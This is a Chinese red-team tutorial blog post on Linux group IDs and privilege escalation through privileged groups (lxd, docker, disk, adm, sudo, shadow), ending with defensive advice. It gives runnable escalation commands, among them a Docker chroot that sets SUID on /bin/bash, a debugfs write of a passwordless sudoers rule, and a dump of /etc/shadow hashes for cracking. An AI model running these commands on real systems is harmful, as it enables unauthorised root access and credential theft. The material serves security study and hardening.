// 红队渗透 · 2025-02-05

Linux GID与特权组提权漏洞详解

在 Linux 系统中,组 ID(Group ID,简称 GID) 是用于唯一标识用户组的数字标识符。每个用户组都与一个 GID 关联,系统通过 GID 实现用户组的权限分配与访问控制。理解 GID 的工作机制以及与之相关的特权组提权漏洞,不仅有助于管理员优化系统安全配置,还能有效防范潜在的权限提升攻击。本文将详细介绍 Linux 用户组的管理方法、常见特权组及其功能,以及攻击者如何利用特权组实现提权。


一、用户组与 GID 的基础知识

1.1 配置文件

Linux 系统中,用户和组的信息存储在以下核心配置文件中:

  • /etc/passwd:记录用户账户信息,包括用户 ID(UID)、主组 GID、用户主目录、默认 Shell 等。
  • /etc/group:存储用户组信息,包括组名、GID、组成员列表等。
  • /etc/shadow:存储用户密码哈希,与权限管理间接相关,通常仅 root 可读。
  • /etc/gshadow:记录组密码和组管理员信息,辅助权限管理。

这些文件是 Linux 用户和组管理的核心,管理员需严格控制其权限(通常 root 可读写,普通用户只读或无权限),以防止未经授权的访问或修改。

1.2 查看组与 GID 的方法

以下是查看系统组信息和用户组归属的常用命令:

  1. 查看所有组信息 使用 cat /etc/group 命令可查看系统中所有用户组的详细信息:

    cat /etc/group

    输出示例:

    root:x:0:root
    adm:x:4:syslog,john
    docker:x:999:jane,root
    sudo:x:27:root,john
    wheel:x:10:admin
    disk:x:6:root,john
    tty:x:5:root

    每行格式为:组名:密码占位符:GID:成员列表。

  2. 查看特定用户的组归属 使用 groups 命令查看某用户所属的所有组:

    groups john

    输出示例:

    john : john adm sudo docker

    表示用户 john 属于 john(主组)、adm、sudo 和 docker 组。

  3. 查看用户的 UID 和 GID 使用 id 命令获取用户的 UID、主 GID 及所有所属组的 GID:

    id john

    输出示例:

    uid=1000(john) gid=1000(john) groups=1000(john),4(adm),27(sudo),999(docker)

1.3 常见系统组及其功能

Linux 系统中存在多个默认用户组,各自承担特定功能。以下是常见的系统组、描述及默认 GID:

组名 描述 默认 GID
root 超级用户组,拥有系统最高权限,通常为系统管理员所属组。 0
sys 系统管理组,涉及硬件设备操作和系统服务管理。 3
adm 系统日志组,成员可访问系统日志文件(如 /var/log/syslog)。 4
tty 终端设备组,控制终端设备访问权限。 5
disk 磁盘设备组,成员可直接操作磁盘分区和设备。 6
mail 邮件服务组,涉及邮件服务器配置和管理。 8
wheel 特权命令组,成员可通过 su 或 sudo 执行管理员命令。 10
docker Docker 容器管理组,成员可运行和管理 Docker 容器。 999
sudo 特权操作组,成员可通过 sudo 执行特权命令,与 wheel 功能类似。 27
games 游戏相关组,授予游戏应用的访问权限。 60
staff 普通管理员组,成员可安装和管理软件。 50
users 默认普通用户组,非特权用户的通用归属组。 100
lxd LXD 容器管理组,成员可管理 LXD 系统容器。 101
network 网络设备组,涉及网络配置和设备管理。 101
plugdev 外部设备组,成员可挂载和访问 USB 等外部存储设备。 46
audio 音频设备组,成员可访问音频硬件。 70
video 视频设备组,成员可访问摄像头或显示设备等视频硬件。 44
cdrom 光驱设备组,成员可访问光驱设备。 24
power 电源管理组,成员可执行关机、重启等电源操作。 98
storage 存储设备组,成员可管理硬盘和存储设备。 118

二、常见特权组提权利用

特权组的不当配置可能导致权限提升漏洞。攻击者通过加入特权组(如 sudo、docker、disk 等)或利用组权限,获取更高权限甚至 root 权限。以下是几种常见的特权组提权方式及其利用方法。

2.1 LXD 组提权

LXD(Linux Container Hypervisor)是一款轻量级系统容器管理工具,类似于Docker,但更侧重于系统级容器,支持运行特权容器。若系统中LXD配置不当(如允许普通用户创建特权容器),攻击者一旦加入lxd组,即可通过创建特权容器、挂载宿主机根目录,实现容器逃逸,获取宿主机root权限。

提权步骤:

  1. 导入 Alpine 镜像:
    lxc image import ./alpine.tar.gz --alias myimage
  2. 初始化 LXD(默认配置):
    lxd init
  3. 创建特权容器:
    lxc init myimage ignite -c security.privileged=true
  4. 挂载宿主机根目录:
    lxc config device add ignite mydevice disk source=/ path=/mnt/root recursive=true
  5. 启动并进入容器:
    lxc start ignite
    lxc exec ignite /bin/sh

在容器内的 /mnt/root 目录即为宿主机根目录,攻击者可完全控制宿主机文件系统,执行任意操作。

2.2 Docker 组提权

Docker是目前最流行的容器化工具,系统中加入docker组的用户,可无需sudo权限直接执行docker命令(如启动容器、挂载文件系统)。若攻击者加入docker组,可利用Docker的容器挂载功能,将宿主机根目录挂载到容器内,通过chroot命令切换到宿主机文件系统,修改关键文件实现提权。

提权示例:

low@vulnyx:~$ docker run -v /:/mnt --rm -it alpine chroot /mnt sh
# chmod 4755 /bin/bash
# exit
low@vulnyx:~$ /bin/bash -pi

此命令将宿主机根目录挂载到容器内的 /mnt,攻击者通过 chroot 访问宿主机文件系统,并可修改关键文件(如赋予 /bin/bash SUID 权限),从而获得 root 权限。

2.3 Disk 组提权

disk组是风险较高的特权组之一,其成员可直接操作磁盘设备和分区,能够绕过文件系统的权限控制,直接读写磁盘上的所有文件。攻击者可利用disk组的权限,通过debugfs(磁盘调试工具)直接修改系统关键文件,实现提权。

注意事项: debugfs 工具通常位于/sbin目录下,而普通用户的环境变量中可能不包含该目录,因此需使用完整路径(/usr/sbin/debugfs或/sbin/debugfs)执行命令。

提权示例: 通过 debugfs 修改/etc/sudoers.d目录下的文件,添加无密码sudo权限:

/usr/sbin/debugfs -w /dev/sda1
debugfs:  write /tmp/a /etc/sudoers.d/a      
Allocated inode: 23
debugfs:  link <23> /etc/sudoers.d/a
debugfs:  cat /etc/sudoers.d/a
ALL ALL=(ALL) NOPASSWD: ALL
debugfs:  quit

命令解读:

  • /usr/sbin/debugfs -w /dev/sda1:以可写模式(-w)启动debugfs,指定操作的磁盘分区为/dev/sda1(通常为系统根分区,可通过df -h命令查看)。

  • write /tmp/a /etc/sudoers.d/a:将/tmp/a文件(提前创建,内容为“ALL ALL=(ALL) NOPASSWD: ALL”)写入到/etc/sudoers.d/a文件中。

  • link <23> /etc/sudoers.d/a:建立inode链接,确保文件写入生效。( write 命令在 debugfs 中有一个非常坑的特性:它只负责把数据写入磁盘块并分配 Inode,但不会自动在目录索引中创建文件名链接。也就是说,数据确实进去了,但系统找不到它。)

提权结果:文件写入成功后,所有用户均可无密码执行sudo命令:

bash-5.0$ sudo -l
Matching Defaults entries for root on Disk:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User ll may run the following commands on Disk:
    (ALL) NOPASSWD: ALL

2.4 Adm 组提权

adm组的核心权限是读取系统日志文件,虽然无法直接获取root权限,但攻击者可通过读取日志文件,提取敏感信息(如用户登录密码、sudo操作记录、系统配置信息等),再结合其他漏洞实现提权,属于“信息收集型”提权方式。

提权示例:

cat /var/log/auth.log    # 查看登录日志(SSH、sudo)
grep "CRON" /var/log/syslog   # 查看计划任务日志
grep --color -Eri "pass|password" /var/log 2>/dev/null

攻击者可结合密码破解工具(如 John the Ripper)从日志中提取密码哈希并破解账户密码。

adm组可读的关键日志文件:

  • /var/log/auth.log:系统认证日志,记录所有用户登录(SSH、控制台)、sudo操作、密码验证等信息,是最具价值的日志文件。

  • /var/log/kern.log:内核日志,记录内核运行状态、硬件设备异常、驱动信息等,可能包含敏感的系统配置。

  • /var/log/dmesg:内核启动日志,记录系统启动过程中的内核信息,可用于了解系统硬件配置和启动流程。

  • /var/log/mail.log:邮件服务日志,记录邮件发送、接收情况,若存在邮件密码明文记录,可直接获取账户信息。

  • /var/log/cron.log:计划任务日志,记录定时执行的命令,若存在以root权限执行的计划任务,可尝试篡改任务内容实现提权。

2.5 Sudo 组提权

sudo组成员可通过 sudo 或 su 执行特权命令。若 sudo 配置不当,攻击者可直接提权至 root。

提权示例:

sudo -i

攻击者通过此命令获得 root shell,控制整个系统。

2.6 Shadow 组提权

shadow 组成员可读取 /etc/shadow 文件,该文件存储了所有用户的密码哈希值,虽然shadow组成员无法修改该文件,但可通过读取密码哈希,结合密码破解工具破解出明文密码,进而获得高权限。

检测:

low@vulnyx:~$ id
uid=1000(user) gid=1000(user) groups=1000(user),42(shadow)
low@vulnyx:~$ ls -l /etc/shadow
-rw-r----- 1 root shadow 719 mar 27 08:04 /etc/shadow

利用:

low@vulnyx:~$ cat /etc/shadow | grep "\$y" | awk -F: '{print $1 $2}'
root$y$j9T$IwIIKD8L9jCb0lqWAWgB/0$OBiTPAluE/7llChagMz3WMBQR9ws4v1OWPwk/SyHqzD
user$y$j9T$JT/GEG2SlAAxdRYVRwob0.$P/Nsg/JHeFdXy1/.MDUDbcHKUAe8BeEXVrsQJm1.T7/

密码破解: 使用 John the Ripper 破解密码哈希:

john --wordlist=/opt/rockyou.txt crack --format=crypt

输出示例:

rockyou          (root)
123456           (user)

2.7 其他特权组提权

除上述常见特权组外,Linux系统中还有部分特权组,虽然提权场景相对特殊,但配置不当也可能被攻击者利用:

  • video组(GID 44):该组成员可访问摄像头、显示器等视频设备,在部分靶场或特殊场景中,攻击者可利用该组权限,捕获其他终端设备的画面(如管理员操作界面),提取敏感信息(如密码、配置命令),进而实现提权。

  • fail2ban组:fail2ban是一款用于防止暴力破解的工具,该组成员可修改fail2ban的配置规则(如禁用SSH暴力破解防护、添加白名单)。攻击者加入该组后,可篡改配置规则,解除系统安全防护,进而通过暴力破解等方式获取高权限。

  • power组(GID 98):该组成员可执行关机、重启等电源操作,虽然无法直接获取root权限,但可通过恶意重启系统、中断系统服务,制造系统异常,进而利用系统重启后的漏洞实现提权。


总结

组 ID(GID)是 Linux 系统中权限管理和用户组区分的核心机制。正确配置 GID 可有效提升系统安全性,而不当配置则可能为攻击者提供权限提升的途径。通过深入了解常见特权组(如 root、docker、disk、adm 和 wheel)的功能与潜在风险,管理员能够制定更安全的权限策略。

为确保系统安全,建议遵循最小权限原则,严格控制特权组成员,定期审计组配置,并结合容器隔离、日志监控等措施降低潜在风险。只有在权限分配与安全防护并重的情况下,Linux 系统才能在复杂环境中保持稳定与安全。

参考资料:

原文 https://blog.csdn.net/2301_79518550/article/details/145452956